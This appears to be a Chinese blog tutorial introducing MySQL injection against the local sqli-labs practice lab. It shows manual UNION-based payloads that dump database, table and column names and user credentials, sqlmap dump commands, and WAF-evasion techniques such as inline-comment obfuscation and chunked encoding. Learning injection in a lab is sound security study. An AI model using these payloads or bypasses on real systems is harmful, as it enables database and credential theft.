初探mysql注入
一、SQL注入手工注入基本流程
套路三连: 爆库 爆表 爆数据
了解表结构:
前言:
mysql中注释符:# 、/**/ 、 --
information_schema数据库中三个很重要的表:
information_schema.schemata 该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables 该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns 该数据表存储了mysql数据库中的所有列的列名
- 寻找注入点,order by 确定列数,确定显示位
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+ 确定有3列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+ 确定显示位为 2,3
- 爆当前数据库 确定当前数据库为security
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,database()--+
2、爆表 确定数据库security 有四张表
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆列 以users表为例
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
4、爆数据
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2, group_concat(username,0x3a,password) from users --+
手工太繁琐? Sqlmap懂你
二、自动化注入工具sqlmap的使用
GET型 sqlmap.py -u xxxx
POST型 sqlmap.py -r xxx 或 sqlmap.py -u xxxx --data “xxxx”
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db --threads 10 --batch
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --dump --threads 10 --batch
懂了,有手就行,sqlmap一把梭,如此简单?WAF我不要面子的吗?
有WAF猝,so 放弃?
三.基础姿势绕过WAF
1.GET转换为POST
GET传参已被被各大waf厂商查杀,众所周知把get改成post一样可以正常请求,同时这也是最简单的绕waf姿势
再次拿起sqlmap,注入成功
2. 尝试多种注入方式
Union 注入,猝
报错注入成功
3. 内联注释混淆绕过
database() 拦截 database 不拦截
database(/*%!’/*/) 不拦截
4. 分块传输编码绕过
插件代理
下载地址:https://github.com/c0ny1/chunked-coding-converter
与sqlmap连动
sqlmap.py -r C:\Users\yusw\Desktop\pikachu.txt --proxy=http://127.0.0.1:8080 --current-db --threads 10 --batch